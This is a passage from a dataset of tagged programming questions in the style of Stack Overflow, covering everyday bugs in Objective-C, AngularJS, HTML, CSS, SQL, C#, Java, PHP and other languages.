<code>global</code> keyword is only a parser directive and can t refer to anything outside of the exec.    this really is way too much work to import the module without writing to disk  but if you ever want to do this  i believe it s the best way.,python
wrong days between dates for month of march  i have a very interesting problem: when calculating the number of days between two dates  my calculator gives the wrong results <strong>for the month of march only</strong>. i have two text fields  one for each date. if i enter 3/7/12 in date1  and 3/13/12 in date2  the result is 7  which is correct (i am counting the first day as well). but when i enter date1 = 3/7/12 and date2 = 3/14/12  the result is still 7  but it should be 8. likewise  if i enter date1 = 3/7/12 and date2 = 3/23/12  the result should be 17  but it is 16. if i change the month to april so that date1 = 4/7/12 and date2 = 4/23/12  the result is 17. every month is working as intended  only the month of march is giving me wrong results. does anyone have any idea what i am missing  is this a timezone problem  how do i fix it  here is my code:   <pre><code>nsdateformatter *dateformatter1 = [[nsdateformatter alloc] init];      [dateformatter1 setdateformat:@ mm/dd/yyyy ];      nsdate *startdate1 = [dateformatter1 datefromstring: date1.text];       nsdateformatter *dateformatter2 = [[nsdateformatter alloc] init];     [dateformatter2 setdateformat:@ mm/dd/yyyy ];     nsdate *enddate2 = [dateformatter2 datefromstring: date2.text];      int start1 = [startdate1 timeintervalsince1970];     int end2 = [enddate2 timeintervalsince1970];     double difference12 = end2-start1;     int days12;      days12 =(int)((double)difference12/(3600.0*24.00)+1);      result12.text = [[nsstring alloc] initwithformat:@ %i   days12] </code></pre>,objective-c
how to set full screen for an activty  when i launch my application   it shows up a title bar at the top containing application name  how to set full screen view of your main activity   when application is launched.,android
pass dropdown selected value in ng-blur  i am trying to pass selected dropdown option value into <code>leavebalance()</code> method.<br>but am getting <code>undefined</code> how to pass it    <pre><code>&lt;body ng-app= myapp  ng-controller= myctrl  ng-init= init() &gt;                     &lt;div&gt;                         &lt;label&gt;leave type&lt;/label&gt;                         &lt;select type= text  id= levtype  ng-blur= leavebalance(data.id) &gt;&lt;option value=   selected= selected &gt;select&lt;/option&gt;&lt;option data-ng-repeat= data in leavetypes  value= {{data.id}} &gt;{{data.name}}&lt;/option&gt;&lt;/select&gt;                     &lt;/div&gt; &lt;/body&gt; &lt;script&gt;     var app = angular                     .module( myapp   [])                     .controller( myctrl   function ($scope  $http) {                         $scope.init = function () {                             $http.post( /user/getlist ).then(function (response) {                                 $scope.leavetypes = response.data;                             })                         }                         $scope.leavebalance = function (id) {                             alert(id)                         }                     }) &lt;/script&gt; </code></pre>,angularjs
how to solve menu list problems     <pre><code>&lt;div class= menu-content &gt;   &lt;div class= icon &gt;&lt;a href= # &gt;&lt;img src= img/icons/menu-media.png /&gt;&lt;/a&gt;&lt;/div&gt;  &lt;/div&gt; </code></pre>      <pre><code>&lt;ul class= menu-click &gt;     &lt;a href= #home &gt;&lt;li href= #home &gt;home&lt;/li&gt;&lt;/a&gt;     &lt;a href= #about-us &gt;&lt;li href= #listen &gt;listen&lt;/li&gt;&lt;/a&gt;      &lt;a href= #contact &gt;&lt;li href= #contact &gt;studio&lt;/li&gt;&lt;/a&gt;  &lt;/ul&gt;    </code></pre>                                                                                             there are 2 menus in my website when i click on one of them the other open automatically,html
prevent exiting html page  i want to use a html page to show all the products we sell in our store. this page i want to show on a tablet so that customers can view it. but i don t want the customers to be able to exit the website and use the tablet for something else.    the code itself isn t ready yet for publication but i was planing on using something like this: <a href= http://www.thomasleflere.be/presentatie_in_reveal/presentatie.html  rel= nofollow >http://www.thomasleflere.be/presentatie_in_reveal/presentatie.html</a>    how can this be done,html
mysql returns empty even though it shouldn t   am a total mysql newbie  but i have no idea how to search for the answer to this  so that s why i m bringing it here:   <pre><code>            describe rparam;             +----------------+---------------+------+-----+---------+-------+             | field          | type          | null | key | default | extra |             +----------------+---------------+------+-----+---------+-------+             | p              | float         | yes  |     | null    |       |             | d              | float         | yes  |     | null    |       |             | ltp            | float         | yes  |     | null    |       |             | ltd            | float         | yes  |     | null    |       |             | alpha          | float         | yes  |     | null    |       |             | n              | smallint(6)   | yes  |     | null    |       |             | g              | float         | yes  |     | null    |       |             | a              | float         | yes  |     | null    |       |             | seed           | float         | yes  |     | null    |       |             | startingweight | float         | yes  |     | null    |       |             | path           | varchar(1000) | yes  | uni | null    |       |             | type           | varchar(100)  | yes  |     | null    |       |             +----------------+---------------+------+-----+---------+-------+             12 rows in set (0.00 sec)               select p from rparam group by p;              +--------+             | p      |             +--------+             |      0 |             |  0.001 |             |  0.002 |             |  0.003 |             |  0.004 |             |  0.005 |             | 0.0075 |             |  0.008 |             |   0.01 |             |  0.012 |             | 0.0125 |             |  0.014 |             |  0.015 |             |   0.02 |             |  0.025 |             |   0.03 |             |  0.035 |             |   0.04 |             |   0.05 |             |    0.1 |             |    0.2 |             |    0.3 |             |    0.4 |             |    0.5 |             |    0.6 |             |    0.7 |             +--------+             26 rows in set (0.00 sec) </code></pre>   i can get the results for one type of query:   <pre><code>            select p from rparam where p=0.5 group by p;             +------+             | p    |             +------+             |  0.5 |             +------+             1 row in set (0.00 sec) </code></pre>   however  changing the p-value that i m asking for:   <pre><code>            select p from rparam where p=0.6 group by p;             empty set (0.00 sec) </code></pre>   but we can clearly see from the first output that there are rows for which p=0.6  this is a problem for most of the p-values - why does mysql return the empty set,mysql
how to set the margin of a scrollbar  i have a div with rounded corners. it need to be scrollable.  i added the scrollbar but the corner of the scrollbar control is getting out of bound at the rounded corners of the div. is there a way to set the margin of the scrollbar control  i was thinking of top 10-15px and bottom 10-15px.    <a href= https://i.stack.imgur.com/5g9c8.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/5g9c8.png  alt= preview ></a>    that is my div style:   <pre><code>div.consolediv {     position: absolute;     top: 50%;     left: 50%;     width: 600px;     height: 400px;     padding: 10px;     margin: -200px 0 0 -300px;     border: 2px solid #000;     border-radius: 15px;     -moz-border-radius: 15px;     background-color: black;     border-color: slategrey;      scrollbar-arrow-color: black;     scrollbar-3dlight-color: black;     scrollbar-track-color: black;     scrollbar-face-color: black;     scrollbar-shadow-color: lightgray;     scrollbar-base-color: lime;     overflow-y: auto; } </code></pre>   i found a few solutions but they had zero impact on my scrollbar so far. i tried those:   <pre><code>    ::-webkit-scrollbar {     width: 14px;     height: 18px; } ::-webkit-scrollbar-thumb {     height: 6px;     border: 4px solid rgba(0  0  0  0);     background-clip: padding-box;     -webkit-border-radius: 7px;     background-color: rgba(0  0  0  0.15);     -webkit-box-shadow: inset -1px -1px 0px rgba(0  0  0  0.05)  inset 1px 1px 0px rgba(0  0  0  0.05); } ::-webkit-scrollbar-button {     width: 0;     height: 0;     display: none; } ::-webkit-scrollbar-corner {     background-color: transparent; } </code></pre>,css
i am looking to put a comma after two digits from right  i am looking to put a comma after two digits from right. for example i have 250$ and in sql i want the select to return 2 50$. example2: 500$ should be 5.00$. for 1000$. it should be 10 00$. how can it be done in select. i have a column that holds those value in my sql database. thanks you in advance for your help. my column data type is bigint,sql
is it possible to pass parameter to $http factory that returns datareturn   here is a set up for me to call a php script to get data from an external api. what i did is to set up a factory like such:   <pre><code>app.factory( loadapi   function ($http) {   var dorequest = function() {     return $http({       method:  json         url:  api.php      });   };   return {     datareturn: function() { return dorequest(); }   }; }); </code></pre>   and then inside my <code>.controller</code> i use the following script to process data:   <pre><code>loadapi.datareturn().success(function(data  status){  ...  } </code></pre>   now since the external api provides many interfaces  i like to pass parameter to the <code>.factory</code> so it can process multiple different type of interfaces (instead of creating multiple <code>.factory</code> to process them).    here is my concept:   <pre><code>loadapi.datareturn(parameter).success(function(data  status){  ...  }  app.factory( loadapi   function ($http) {   var dorequest = function(parameter) {     return $http({       method:  json         url:  api.php p=  + parameter     });   };   return {     datareturn: function(parameter) { return dorequest(parameter); }   }; }); </code></pre>   it didn t work.,angularjs
uidocumentinteractioncontroller open in mail do not work  i use uidocumentinteractioncontroller in my app   but i found that  if i do not set a mail account for mail  when i click mail in open in menu  it just dismiss do not have a alert or something to tell me that i do not have a mail account.   maybe i can show alert by myself  if i know the iphone do not have mail account i can show alert.,ios
script(js) to login account not working  the following code will redirect users to a login pagw:   <pre><code>javascript:window.location= https://1.1.1.1/login.html ;while(true){if(document.readystate ==  complete ){window.onload(document.forms[0].submit.click());break;}} </code></pre>   the script does not work if i paste it into the urlbar (on a blank screen).  it will <a href= https://1.1.1.1/login.html  rel= nofollow >https://1.1.1.1/login.html</a> but not login.  however  if i go to <code>https://1.1.1.1/login.html</code> and paste this script  it works well.    why does the first solution not work,javascript
how to run task repeatedly with an increasing period in java   i want my task to run repeatedly  and increase the interval between two execution every time.    for example  there will be 3 seconds between the first execution and the second execution  then 5 seconds between the second and the third  then 10 between the third and the fourth...    i ve checked <code>timer</code> and <code>scheduledexecutorservice</code> and found both of them can only schedule task in a fixed period. also i don t want to use thread+sleep to solve this problem  so do you have any advice  thanks.,java
java class path in different directory  i m trying to invoke a java class that is not in current directory. ive set -classpath flag and ensured that the class file is also there in the path. but im getting the following error   <pre><code>error: could not find or load main class fileversion </code></pre>   bat file code   <pre><code>java -classpath x:/lcmslatestlibrary/fileversion/fileversion.class fileversion h:\lcms_jars\client.jar x:\lcmslatestlibrary\64bit\client.jar pause </code></pre>   the same works if i cd into x:/lcmslatestlibrary/fileversion and execute the above line without -classpath flag. what am i missing,java
.net : best way to check if an appsetting is present in configuration file   i would like to add a check to ensure all appsettings used in my class indeed exist in the configuration file. what is the most reliable way to do this     i know i could check each value for null  but are any of you guys using an xsd approach  or do a more dynamic approach  or is the best way to manually check and maintain a list of values that should be present,.net
using frombase64transform with cryptostream   i have a .net string which is base64 encoded representation of an array of encrypted bytes.  it is produced like this:   <pre><code>string encrypt( string message ) {     cryptostream cryptostream = ...     streamwriter stream = new streamwriter( cryptostream );     ...     return convert.tobase64string( ... ); } </code></pre>   now i want a decryption function like   <pre><code>string decrypt( string cypher ) {     textreader reader = new stringreader( cypher );     byte[] buffer = new byte[ cypher.length ];     for( int i = 0; i &lt; cypher.length; ++i )     {         buffer[ i ] = (byte) reader.read();     }     frombase64transform transformer = new frombase64transform();     memorystream raw = new memorystream     (          transformer.transformfinalblock( buffer  0  buffer.length )     );     ... } </code></pre>   is there a way to use frombase64transform <em>directly</em> with cryptostream (as the .net documentation suggests)  instead of manually converting the string to bytes  then manually decoding the bytes  and finally decrypting the decoded bytes,.net
how do i check all checkboxes on an html page with one click   i am html page with 5 checkboxes    my requirement is to have one morecheckboxes  select all  which is used to select all 5 checkboxes.    thanks in advance    <strong>closed</strong> as exact duplicate of <a href= https://stackoverflow.com/questions/386281/how-to-implement-select-all-check-box-in-html >this question</a>.,html
text box validation not working  right now the code below tests for a blank text box.  if it is blank it returns the error stated below the if statement.  that works fine  but i also want it to check for white spaces.  i have tried the following for the first one:   <pre><code>if (string.isnullorwhitespace(txtfirstname.text)) </code></pre>   it does not work though.  i typed the word  bike  into the text box  but i spelled it like  b ike  with a space to see if it would return the error message and it didn t.   <pre><code>public partial class frmpersonnel : system.web.ui.page {     protected void btnsubmit_click(object sender  eventargs e)     {         //lblerror.text =   ;         try         {             if (txtfirstname.text ==   )             {                 txtfirstname.backcolor = system.drawing.color.yellow;                 lblerror.text +=  please enter first name&lt;br /&gt; ;             }               if (txtlastname.text ==   )             {                 txtlastname.backcolor = system.drawing.color.yellow;                 lblerror.text +=  please enter last name! &lt;br /&gt; ;             }             if (txtpayrate.text ==   )             {                 txtpayrate.backcolor = system.drawing.color.yellow;                 lblerror.text +=  please enter pay rate! &lt;br /&gt; ;             }             if (txtstartdate.text ==   )             {                 txtstartdate.backcolor = system.drawing.color.yellow;                 lblerror.text +=  please enter start date! &lt;br /&gt; ;             }             if (txtenddate.text ==   )             {                 txtenddate.backcolor = system.drawing.color.yellow;                 lblerror.text +=  please enter end date! &lt;br /&gt; ;             }              datetime dt1;             datetime dt2;              dt1 = datetime.parse(txtstartdate.text);             dt2 = datetime.parse(txtenddate.text);               if (datetime.compare(dt1  dt2) &gt; 0)             {                 txtstartdate.backcolor = system.drawing.color.yellow;                 txtenddate.backcolor = system.drawing.color.yellow;                 lblerror.text +=  start date must not be greater than end date! &lt;br /&gt; ;             }              else             {                 session[ txtfirstname ] = txtfirstname.text;                 session[ txtlastname ] = txtlastname.text;                 session[ txtpayrate ] = txtpayrate.text;                 session[ txtstartdate ] = txtstartdate.text;                 session[ txtenddate ] = txtenddate.text;                 server.transfer( frmpersonalverified.aspx );             }         }         catch (exception)         {          }     } } </code></pre>,c#
select by increasing order sql  table:   <pre><code>  id | year |     score  -----+------+-----------   12 | 2011 |     0.929   12 | 2014 |     0.933   12 | 2010 |     0.937   12 | 2013 |     0.938   12 | 2009 |      0.97   13 | 2010 |     0.851   13 | 2014 |     0.881   13 | 2011 |     0.885   13 | 2013 |     0.895   13 | 2009 |     0.955   16 | 2009 |     0.867   16 | 2011 |     0.881   16 | 2012 |     0.886   16 | 2013 |     0.897   16 | 2014 |     0.953 </code></pre>   desired output:   <pre><code>  id | year |     score  -----+------+-----------   16 | 2009 |     0.867   16 | 2011 |     0.881   16 | 2012 |     0.886   16 | 2013 |     0.897   16 | 2014 |     0.953 </code></pre>   i m having difficulties in trying to output scores that are increasing in respect to the year. any help would be greatly appreciated.,sql
how to read a file from a different directory then print it to the screen in c  i am supposed to write a program called www.c. that will read data  describing most popular websites  from a file called web-data  and emit various bits of information about what it found in the file. the info we are supposed to be using is in a file which is in a completley different directory than mine.    how do i open up this file so that i am able to read it  so far i have:   <pre><code>#include &lt;stdio.h&gt;  int main () {  char* file =  filename ;  int c;  file *www;  www = fopen( file    rb );  if (www) {     while ((c = getc(www)) != eof)     putchar(c);     fclose(www);  }  return 0;  } </code></pre>   but it wont print anything to the screen so i don t think it is actually accessing the file. also what command would i use to look through the file and find the best ranked and the lowest alexa     thank you so very much for your help.,c
item does not rotate with integrating jquery plugin  after looking at several options to rotate the text vertically i concluded that <a href= http://corydorning.com/demos/jangle  rel= nofollow >jangle</a> jquery option is the best one. very easy to implement! however  i ran into an issue with ie browser. i tested your demo and it works great  but when i added to my page is having a problem… please see [bbbb label][2]  it remains horizontal.    it works great in ff  safari and chrome  but ie…    what am i missing here  is there some sort of conflict,jquery
push to new viewcontroller from connectiondidfinishloading  is it possible to push to a new view controller from <code>connectiondidfinishloading</code>      i have the following and it performs the <code>connectiondidfinishloading</code> but does not push to new view controller.   <pre><code>-(void)connectionwithurlstring:(nsmutablearray *)urlstring {     nsdate *now =  [nsdate date];     int userid = [[clientdatastruct.clientdata objectforkey:@ number ] intvalue];     nsdate *date = self.datepicker.date;   // nslog(@ obj: %@   urlstring);      nsstring *extrstring = [nsstring stringwithformat:@   customerdetails:{customer_id = %d  job_date = %@  date_created = %@}  userid date  now];      nsstring *post = [nsstring stringwithformat:@ json=quote:{%@%@}   urlstring  extrstring ];       nslog(@ post: %@   post);     nsdata *postdata = [post datausingencoding:nsasciistringencoding allowlossyconversion:no];     nsmutableurlrequest *request = [[nsmutableurlrequest alloc] init];      nsuserdefaults *defaults = [nsuserdefaults standarduserdefaults];     nsstring *value = [defaults objectforkey:@ value ];      nsstring *jsonurl = [nsstring stringwithformat:@ xxx task=add_quote&amp;user_id=%@&amp;customer_id=%@  value  [clientdatastruct.clientdata valueforkey:@ number ]];      [request seturl:[nsurl urlwithstring:jsonurl]];     [request sethttpmethod:@ post ];     [request sethttpbody:postdata];      nsurlconnection *connection = [nsurlconnection connectionwithrequest:request delegate:self];        if (!connection)         nslog(@ connection failed! ); }  - (void)success {          uistoryboard *subvc = [uistoryboard storyboardwithname:@ mainstoryboard_ipad  bundle:nil];         usertableview *usertable = [subvc instantiateviewcontrollerwithidentifier:@ usertableview ];          usertable.modaltransitionstyle = uimodaltransitionstylecrossdissolve;         [self.navigationcontroller pushviewcontroller:usertable animated:yes];  }  - (void)connection:(nsurlconnection *)connection didreceivedata:(nsdata *)data {  }   - (void)connection:(nsurlconnection *)connection didfailwitherror:(nserror *)error {     nslog(@ %@   error); }  - (void)connectiondidfinishloading:(nsurlconnection *)connection {     [self performselectoronmainthread:@selector(success) withobject:nil waituntildone:yes];     nslog(@ connectiondidfinishloading%@   connection); } </code></pre>   everything works  and returns my data and data gets added into the <code>sql</code>. my <code>nslog</code> shows that <code>connectiondidfinishloading</code>. but it does not push to the new view controller.     thanks for the help  being scratching my head on this one.    thanks to fahim advise allowed me to debug further  the navigation view broke with a returned model controller. changed it to push and all is working,ios
text directly in body  is it allowed for text to be placed directly in the html <code>body</code> element  by the html standards  like in the following piece of html:   <pre><code>&lt;body&gt;     some text &lt;/body&gt; </code></pre>   or is it only allowed to place the text in another html element  like in the following piece of html:   <pre><code>&lt;body&gt;     &lt;p&gt;some text&lt;/p&gt; &lt;/body&gt; </code></pre>   the reason i am asking this is because i know the following is invalid html 5:   <pre><code>&lt;body&gt;     &lt;span&gt;some text&lt;/span&gt; &lt;/body&gt; </code></pre>   this is invalid because inline elements (like <code>span</code>) should always be placed inside block level elements (like <code>p</code>). therefore  it seems unlikely to me that it would be allowed to place text outside of any elements  directly in the <code>body</code>.    also  does it matter which version of the html standard we are talking about,html
how to exclude root node in xml for displaying menu   i want to attach the xml file data to the menu through the xmldatasource. i did that but it display from root node. how to do if do not want root node menu. &amp; all the sub menus in same level. eg file  edit  view etc. because not to do so then we get unnecessary one extra level for root level menu.    regards  girish,asp.net
$scope.$watch on some part of object in array  there is an array as below  which stores a mixture of data and styles in it.     user is able to add  remove or re-order its elements  as well as modify value of elements  so i need to watch it with <code>$scope.$watch</code> to do something if it s modified.    however  i don t want to get notified if only its style changes. is there any better practice to arrange my data  to get notified only if value is changed  thank you.    <a href= http://plnkr.co/edit/umhmwkdjbwwwrx89ocsm p=preview  rel= nofollow >plunker </a>   <pre><code>[{   value: 1    selected: true    width:  100px  }  {   value: 2    width:  150px  }  {   value: 3    width:  100px  }]; </code></pre>,angularjs
buffering stdin & stdout  i have this simple peace of code :   <pre><code>#include &lt;stdio.h&gt;  int main() {     fprintf(stdout    stdout \n );     fprintf(stderr    stduerr \n );     return 0; }  output: stdout stderr </code></pre>   i know that stdout is buffered and stderr is not and know a bout newline flushing    the result on windows and netbeans is :   <pre><code>stdout stderr </code></pre>   the result using mac and eclipse :   <pre><code>stderr stdout </code></pre>   and want to know why ...    thanks a lot ...,c
unable to sort ng-options into alphabetical order  html   <pre><code>&lt;select ng-model= selectlocation  ng-options= key for key in careerlist.location | orderby:  key  &gt; </code></pre>   js (in careerlist controller)   <pre><code>location = [ us-ca-san clemente    us- ut- draper    us-tx-dallas    us-la-new orleans    us-wi-oshkosh    us-sc-charleston    us-ut-provo    us-tx-fort worth ] </code></pre>   the select option is populated and functions as intended when making a choice  but it doesn t sort it by alphabetical order.,angularjs
url well formed returns true for invalid url  how come the following url is valid     <pre><code>var testurl =  http://  +  ggggggggg  + /   if(uri.iswellformeduristring(testurl  urikind.relativeorabsolute)) { // it comes here } </code></pre>,c#
way to scroll to a percentage of the page s height   i m trying to create something like an anchor tag. when a user clicks on a thumbnail  i want to be able to scroll up a bit so that the full size image is in the center of the browser. i ve tried scrolling to a specific height  but i noticed that the ideal height changes based on how wide the browser window might be. i m wondering if i can scroll up to a percentage of the page (say 30% from the top). is this possible to do in vanilla javascript  thanks.,javascript
linq retrieving index  i need to retrieve the index of my items as i select them in linq  is this the best way to do it  i don t like the fact that i have to declare a variable outside of my linq statement.   <pre><code>list&lt;int&gt; applianceids = new list&lt;int&gt;(); applianceids.add(6); applianceids.add(3); applianceids.add(4); applianceids.add(5); applianceids.add(6); applianceids.add(7); applianceids.add(2);  int ind = 0;  var y = (from a in applianceids         let index = ind++         select new {appliance = a  index = index}).tolist(); </code></pre>,c#
how to structure html form markup for nested data  how do a define html form markup in such a way that i could get this sample array data from post    <pre><code>array(1 =&gt;  data1   3 =&gt;  data2   9999  =&gt;  data3 ) </code></pre>   or   <pre><code>array(1 =&gt;  male   2 =&gt;  female   3 =&gt;  male ) </code></pre>   where the key is an id and the value is some sort of data that is associated to that id and the whole array forms one type of data (in the second example  the id is the id of a user and the associated data is his/her sex.,html
container.dataitem.row.getchildrows issue  i have the following code in an aspx file that i cannot get to work:   <pre><code>&lt;asp:repeater id= messagerepeater  runat= server &gt; . . . &lt;asp:datalist id= commentlist  style= z-index: 112; left: 14px; position: absolute; top: 520px  runat= server  datasource= &lt;%# container.dataitem.row.getchildrows( msgcomments ) %&gt; &gt; &lt;/asp:datalist&gt; . . . &lt;/asp:repeater&gt; </code></pre>   the error i receive is:   <pre><code>cs0117:  object  does not contain a definition for  row  </code></pre>   <code>msgcomments</code> is a relationship between two tables in my dataset that is connected to the repeater control.    not sure what i m doing wrong  thanks in advance,asp.net
storing strings somewhere then writing out at once  i read that file i/o is slow and was looking at my own code that wrote to a file and found that i m constantly calling write write write everywhere even for little things like a comma.   <pre> outfile.write(   ) </pre>   so i figured maybe it d be better if i stored all my characters somewhere (like  i don t know  1 kb of characters or something before writing out).    how should i implement this  do i just take a list and start appending strings to it  then do a join and write the resulting string out  or maybe there s a better approach to it.,python
modify project in asp.net 1.1 in vs 2010  i have a project that is developed in asp.net 1.1. but i have vs 2010 installed...can i modify debug and deploy from vs 2010...,asp.net
is there any read/write lock implementation that can exit the lock on a different thread  i would like to know if i don t have to implement a reader/writer lock that can enter on some thread  then go async  and be released on a different thread.    the pattern would be like this:   <pre><code>readerwriterlockslim synclock         = new readerwriterlockslim(                 lockrecursionpolicy.norecursion); bool gotlock = false; try {     gotlock = synclock.tryenterreadlock(lockmillisecondstimeout);     if (!gotlock)         throw new timeoutexception();     await foo()             .configureawait(false); } finally {     if (gotlock)         synclock.exitreadlock(); } </code></pre>   or:   <pre><code>using (disposable_acquires_and_releases_lock) {     await foo()             .configureawait(false); } </code></pre>   the point being that the continuation comes back on another thread and can t release the lock. i found no immediate implementations; and perhaps it s because it might be a little hairy  ensuring that you do in fact release the lock in the face of async branches.,.net
two consecutive &nbsp; are treated as on  the character below adds a space to my html. however when i put 2 side by side they act like their is just one. is there a solution to this  thanks    <pre><code>&amp;nbsp; </code></pre>,html
rsacryptoserviceprovider .net license  i am using an the rsacryptoserviceprovider class in my application. to use the rsa encryption public key and private. this component is inside the microsoft library <code>system.security.cryptography</code>. however  i have a doubt. i will sell this product  so will i need any license from rsa,.net
php get siteurl dynamically  i am trying to get the siteurl <strong>without hardcoding</strong> and store it in a constant inside of a configuration file  so that i can use it within my scripts irrespective of the nesting/nested folders. this configuration file is stored in a folder within the main installation directory of the website.    <strong>example:</strong>    install website on www.mydomain.com    configuration file located in www.mydomain.com/my_folder/configuration.php    want to declare a constant in configuration.php file so that it always gets the installed path dynamically without having to hardcode it. so <code>define( my_site_url        )</code>    what should be in the place of the      in the code above so that it works even if my main website is installed within nested folders     <strong>examples: all the pages will contain the same configuration.php at the beginning of the file as a require</strong>     <em><strong>install website in site 1:</em></strong>    root directory of website: <strong>www.mydomain.com/demos/site1/</strong>     location of configuration: <strong>www.mydomain.com/demos/site1/my_folder/configuration.php</strong>     sub folder: <strong>www.mydomain.com/demos/site1/1/index.php</strong>     echoing my_site_url in index.php should give www.mydomain.com/demos/site1/    sub folder: <strong>www.mydomain.com/demos/site1/1/2/index.php</strong>     location of configuration: <strong>www.mydomain.com/demos/site1/my_folder/configuration.php</strong>     echoing my_site_url in index.php should give www.mydomain.com/demos/site1/    <em><strong>install website in site 2:</em></strong>    root directory of website: <strong>www.mydomain.com/demos/site2/</strong>     location of configuration: <strong>www.mydomain.com/demos/site2/my_folder/configuration.php</strong>     sub folder: <strong>www.mydomain.com/demos/site2/1/index.php</strong>     echoing my_site_url in index.php should give www.mydomain.com/demos/site2/    sub folder: <strong>www.mydomain.com/demos/site2/1/2/index.php</strong>     location of configuration: <strong>www.mydomain.com/demos/site2/my_folder/configuration.php</strong>     echoing my_site_url in index.php should give www.mydomain.com/demos/site2/    please note that the tld can change. that means  installing the website on www.mydomain.tk  www.mydomai.org  www.mydomain.net  www.mydomain.co.ca etc. should not render the code useless.    <strong>what i have so far:</strong>    i have tried to put together a script. i almost got there  but not 100%. here it is:   <pre><code>function domain_url() {     $pageurl =  http ;     if(isset($_server[ https ]))     if ($_server[ https ] ==  on ) {$pageurl .=  s ;}     $pageurl .=  :// ;     if ($_server[ server_port ] !=  80 )      {         $pageurl .= $_server[ server_name ]. : .$_server[ server_port ].$_server[ request_uri ];     }      else      {         $pageurl .= $_server[ server_name ].$_server[ request_uri ];     }      //remove any get params from url     $remmove_get = strtok($pageurl     );     //removes trailing slash only at the end of string. this slash is received only when accessing a page within sub folders.     $pageurl = preg_replace( {/$}       $remmove_get);      //remove page name     $pageurl = dirname($pageurl);      return $pageurl; } define( my_site_url   domain_url(). / );  </code></pre>   <strong>issue with my current code:</strong>    running the code on www.mydomain.com/demos/site1/ and www.mydomain.com/demos/site1/1/ gives my_site_url as www.mydomain.com/demos/site1/ and this is correct.    but when i run the code on www.mydomain.com/demos/site1/1/2/index.php  echoing my_site_url gives me <strong>www.mydomain.com/demos/site1/1/</strong> when in fact i wanted: <strong>www.mydomain.com/demos/site1/</strong>    how to solve this,php
choice of implementation to read lines of file - c#  the files at max could be 1gb    came across these 2 reads    <a href= http://msdn.microsoft.com/en-us/library/dd145423.aspx  rel= nofollow >ienumerable</a>    and    <a href= http://msdn.microsoft.com/en-us/library/db5x7c0d.aspx  rel= nofollow >how to: read text from a file</a>    which one is better in terms of efficiency - memory/cpu     also  where can i read up on what stream reader implements under the hood,c#
is there a console log for asp.net   if i have if statement like below:   <pre><code>if currentdate &gt;= rating1  then     status = 2 elseif currentdate &gt;= rating2  then     daylight_savings_status = 0 elseif currentdate &gt;= rating3  then     daylight_savings_status = 1 else      daylight_savings_status = 1 end if </code></pre>   is there something like in javascript    console.log( test );    that i can test on the which if statement is truth of the statement     this way i be able to test it on the firebug(firefox).,asp.net
how to shift the elements in to another array <pre><code>         session_details : [             {                  start_time :  19:00                    end_time :  19:00                    time :  19:00 - 19:00                    session_name :  welcome dinner                    session_id : 6                   opinion_details : [                     {                          opinion_id : 1                           opinion_name :  opinion 1                            opinion_url :  www.google.com                            priority : 5                           icon :  f075                      }                      {                          opinion_id : 2                           opinion_name :  opinion 2                            opinion_url :  www.google.com                            priority : 4                           icon :  f075                      }                 ]                   tag_details : [                     {                          tag_id : 1                           tag_name :  tag 1                            tag_color :  #000000                            tag_order : 1                     }                 ]              }                 {                  start_time :  10:00                    end_time :  10:30                    time :  10:00 - 10:30                    session_name :  morning break                    session_id : 9                   opinion_details : [                     {                          opinion_id : 1                           opinion_name :  opinion 1                            opinion_url :  www.google.com                            priority : 5                           icon :  f075                      }                 ]                   tag_details : [                     {                          tag_id : 1                           tag_name :  tag 1                            tag_color :  #000000                            tag_order : 1                     }                 ]              }           ] </code></pre>   this is my array which is getting from backend  i am taking it in to nsmutablearray  but i want to customise the data in another format like except <strong>start_time</strong>  <strong>end_time</strong>    <strong>time</strong> remaining all elements shift in to another array like     session_details : [  {                  start_time :  19:00                    end_time :  19:00                    time :  19:00 - 19:00                    event_details : [                   {                      session_name :  welcome dinner                        session_id : 6                       opinion_details : [                        {                          opinion_id : 1                           opinion_name :  opinion 1                            opinion_url :  www.google.com                            priority : 5                           icon :  f075                         }                         {                          opinion_id : 2                           opinion_name :  opinion 2                            opinion_url :  www.google.com                            priority : 4                           icon :  f075                         }                    ]                   tag_details : [                     {                          tag_id : 1                           tag_name :  tag 1                            tag_color :  #000000                            tag_order : 1                     }                   ]                  }                ]             }           ]    ** please share your suggessions and thanks in advance **,objective-c
find time difference in seconds as an integer with python  i need to find the time difference in seconds with python. i know i can get the difference like this:   <pre><code>from datetime import datetime now = datetime.now() .... .... .... later = datetime.now() difference = later-now </code></pre>   how do i get difference in total seconds,python
add source tags in html just as text  i need to display some html/php on my website for the users to see  but not actually run  just show up as text.    <strong>i just need something that will work like this below</strong>   <pre><code>&lt;table&gt; &lt;div&gt; &lt;p&gt; </code></pre>,html
how to change first word color through css  how to change first word color through css like  moodle theme  actually i want to change the color of  moodle  in white and  theme  in orange  it is possible to make through css.i can t use here  or any other tags.and no javascript please. please help me.. thank you advance...,css
rails  menu using ul li cannot open two records simultaneously  i have following html and rails code:   <pre><code>&lt;div class= menu &gt;      &lt;%       # 0 - owner       # 1 - admin       # 2 - member     members.each do |mem|         #if mem.num != 0 and status !=2             if mem.num == 1 then role =  admin  end             if mem.num == 2 then role =  member  end      %&gt;      &lt;/br&gt;           &lt;ul id =  #{mem.str} &gt;                                                                        &lt;li&gt; &lt;%= link_to mem.str%&gt;                 &lt;ul&gt;                      &lt;li&gt;&lt;td&gt; &lt;%= check_box_tag  members[]   mem.str %&gt; rights: &lt;%= select_tag  rights[#{mem.str}]   options_for_select([ admin    member ] role)   :class =&gt;  table_column_width  %&gt;&lt;/p&gt;&lt;/td&gt;&lt;/li&gt;                              &lt;/ul&gt;                    &lt;/li&gt;           &lt;/ul&gt;     &lt;br/&gt;     &lt;%end%&gt; &lt;/div&gt; </code></pre>   menu works pretty fine but if i have more then two members i cannot open a menu for the first member and for the second member simultaneously so that i can see the rights of the first and of the second. as soon as i klick on another member  menu of the first member closes and menu for another opens. i want to have menus opened for all members if i clicked to open it.,ruby-on-rails
